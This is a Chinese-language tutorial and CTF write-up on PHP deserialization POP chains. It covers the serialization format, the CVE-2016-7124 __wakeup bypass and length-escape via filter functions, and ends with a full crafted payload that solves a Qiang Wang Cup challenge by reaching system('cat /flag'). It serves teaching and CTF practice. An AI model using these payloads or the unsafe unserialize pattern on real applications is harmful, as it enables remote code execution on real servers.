PHP的反序列化POP链利用研究

0x01 基本概念
POP:Property-Oriented Programming 面向属性编程POP链:通过多个属性/对象之前的调用关系形成的一个可利用链(如有错误请指正)PHP魔法函数:在php的语法中,有一些系统自带的方法名,均以双下划线开头,它会在特定的情况下被调用,即所谓的魔法函数PHP序列化:将PHP变量或对象转换成字符串PHP反序列化:将字符串转换成PHP变量或对象
0x02 PHP序列化与反序列化写一个简单的demo,类man中有name喝age属性,__construct是魔法函数,在创建对象的时候会调用,serialize()函数就是序列化,var_dump会打印序列化后的字符串
<?php
class man{
 public $name;
 public $age;
 
 function __construct($name,$age){       
  $this->name = $name;
  $this->age = $age;
 }
}
$man=new man("Bob",5);
var_dump(serialize($man));
$uman='O:3:"man":2:{s:4:"name";s:3:"Bob";s:3:"age";i:5;};1234:666';
var_dump(unserialize($uman));
?>
打印结果如下:PHP的反序列化POP链利用研究O:3:"man":2:{s:4:"name";s:3:"Bob";s:3:"age";i:5;},从前往后说,其中O表示对象,3是长度,man是类名,2表示2个属性,大括号内表示属性名和值。在demo中也可以看到,字符串O:3:"man":2:{s:4:"name";s:3:"Bob";s:3:"age";i:5;};1234:666 依然可以反序列成man对象,且属性与O:3:"man":2:{s:4:"name";s:3:"Bob";s:3:"age";i:5;}相同,说明在规定语法外添加字符串不影响反序列化的结果。
0x03 __wakeup()魔术方法绕过(CVE-2016-7124)unserialize()会检查类是否有__wakeup()魔术方法,有的话会先调用该方法,稍微改一下上面的demo,可以看到在反序列化的时候调用了__wakeup魔术方法:
<?php
class man{
 public $name;
 public $age;
 
 function __construct($name,$age){       
  $this->name = $name;
  $this->age = $age;
 }
 function __wakeup(){       
 echo 'Its __wakeup';
 }
}
$man=new man("Bob",5);
var_dump(unserialize((serialize($man))
));
?>
而CVE-2016-7124漏洞是当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行。也就是说,对字符串O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;}反序列化时,会不执行__wakeup,较低版本的PHP会有这个漏洞。
<?php
class man{
 public $name;
 public $age;
 
 function __construct($name,$age){       
  $this->name = $name;
  $this->age = $age;
 }
 function __wakeup(){       
 echo 'Its __wakeup';
 }
}
$man=new man("Bob",5);
var_dump(unserialize('O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;}')
));
?>
0x04 PHP序列化与反序列化逃逸看下面的demo
<?php
function filter($string){
  $a = str_replace('11','2',$string);
   return $a;
}
$username = '111111'; 
$password="abcdef";
$user = array($username, $password);
$a=(serialize($user));
echo $a;echo "\n";
$r = filter($a);
echo $r;echo "\n";
var_dump(unserialize($r));
?>
输出如下:a:2:{i:0;s:6:"111111";i:1;s:6:"abcdef";}a:2:{i:0;s:6:"222";i:1;s:6:"abcdef";}bool(false)看到在第一个参数找6个字符的时候,第二个字符串反序列化会报错,是由于剩下的字符串不符合语法规则了。如果说password只能输入字符串类型,但我想将password变成int类型呢?需要将代码修改如下:
<?php
function filter($string){
  $a = str_replace('11','2',$string);
   return $a;
}
$username = '111111111111111111111111'; 
$password='";i:1;i:1;}xxx';
$user = array($username, $password);
$a=(serialize($user));
echo $a;echo "\n";
$r = filter($a);
echo $r;echo "\n";
var_dump(unserialize($r));
?>
PHP的反序列化POP链利用研究逃逸本质上是由于序列化的时候字符串长度固定了,但是在反序列化之前,会由于各种原因改变字符串的长度,导致反序列化时读取的数据发生了变化,如果经过精心构造格式正确的payload,那么就可以达到逃逸的效果。0x05 强网杯题目---Web辅助这个题目是依靠PHP序列化与反序列化逃逸、__wakeup绕过、POP链构造几个点来最终获取flag的。题目如下:index.php
...
if (isset($_GET['username']) && isset($_GET['password'])){
    $username = $_GET['username'];
    $password = $_GET['password'];
    $player = new player($username, $password);
    file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); 
    echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
}
else{
    echo "Please input the username or password!\n";
}
...
common.php
<?php
function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    var_dump($data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);

    return $data;
}

function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}
?>
play.php
...
@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
...
class.php
<?php
class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }

    public function get_admin(){
        $this->admin = 1;
        return $this->admin ;
    }
}

class topsolo{
    protected $name;

    public function __construct($name = 'Riven'){
        $this->name = $name;
    }

    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;
            $name();
        }
    }

    public function __destruct(){
        $this->TP();
    }

}

class midsolo{
    protected $name;

    public function __construct($name){
        $this->name = $name;
    }

    public function __wakeup(){
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }


    public function __invoke(){
        $this->Gank();
    }

    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}
class jungle{
    protected $name = "";

    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }

    public function KS(){
        system("cat /flag");
    }

    public function __toString(){
        $this->KS();  
        return "";  
    }

}
?>
PHP魔术函数部分使用情况如下:

__construct() //当一个对象创建时被调用

__destruct() //当一个对象销毁时被调用

__wakeup() //使用unserialize时触发

__sleep() //使用serialize时触发

__toString() //把类当作字符串使用时触发

__invoke() //当脚本尝试将对象调用为函数时触发

我们可以控制的点是username与password,最终要执行的点是jungle->KS(),查看各个函数间的调用情况,将jungle当作字符串时,会触发__toSrting(),调用KS(),midsolo的name是jungle对象时,Gank()函数会将name当作字符串处理,而topsolo的TP()函数会将其name属性当作函数,这样会执行name的__invoke()函数,发现反序列化此POP链可以获取falg:topsolo(midsolo(jungle()))。那么怎么通过可以控制的username与password达到反序列化POP链呢?想到将对象放入到username或password中传到后端,这样反序列化的时候就会调用这个POP链,获取flag了。但是现在还有问题,无法直接传递对象,想到可以用序列化的方式传递如果反序列化的字符串是O:6:"player":3:{s:7:"*user";i:1;s:7:"*pass";O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:7:"Lee Sin";}}}s:8:"*admin";i:0;},就达到了目的(由于属性是protected,所以属性名是形如 * name这种)。需要绕过midsolo的__wakeup()---通过CVE-2016-7124改属性个数绕过反序列化的字符串不允许出现name---通过使用大写的S,十六进制进行绕过得到想要反序列化的字符串:O:6:"player":3:{s:7:"*user";i:1;;S:7:"*pass";O:7:"topsolo":1:{S:7:"*\6eame";O:7:"midsolo":2:{S:7:"*\6eame";O:6:"jungle":1:{S:7:"*\6eame";s:7:"Lee Sin";}}}S:8:"*admin";i:0;}又因为read函数会将字符串\0*\0长度由5变成3,可以进行逃逸(不清楚的可仔细看下0x04)所以最终的利用是username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0;password=2";S:7:"\00*\00pass";O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"Lee Sin";}}}S:8:"\00*\00admin";i:0;}发送带相应参数的请求后,服务端会将player序列化,反序列化之前会执行read函数,减少字符串长度,吞噬掉password的部分字段,最终导致反序列化了字符串O:6:"player":3:{s:7:"*user";s:60:"************";s:7:"*pass";s:172:"2";S:7:"*pass";O:7:"topsolo":1:{S:7:"*\6eame";O:7:"midsolo":2:{S:7:"*\6eame";O:6:"jungle":1:{S:7:"*\6eame";s:7:"Lee Sin";}}}S:8:"*admin";i:0;},根据之间的链会调用KS()获取flag。

参考链接:https://www.freebuf.com/articles/web/247930.htmlhttps://www.cnblogs.com/tr1ple/p/11876441.html

上一篇:快速查找期刊名称缩写


下一篇:4.vim的高级用法配置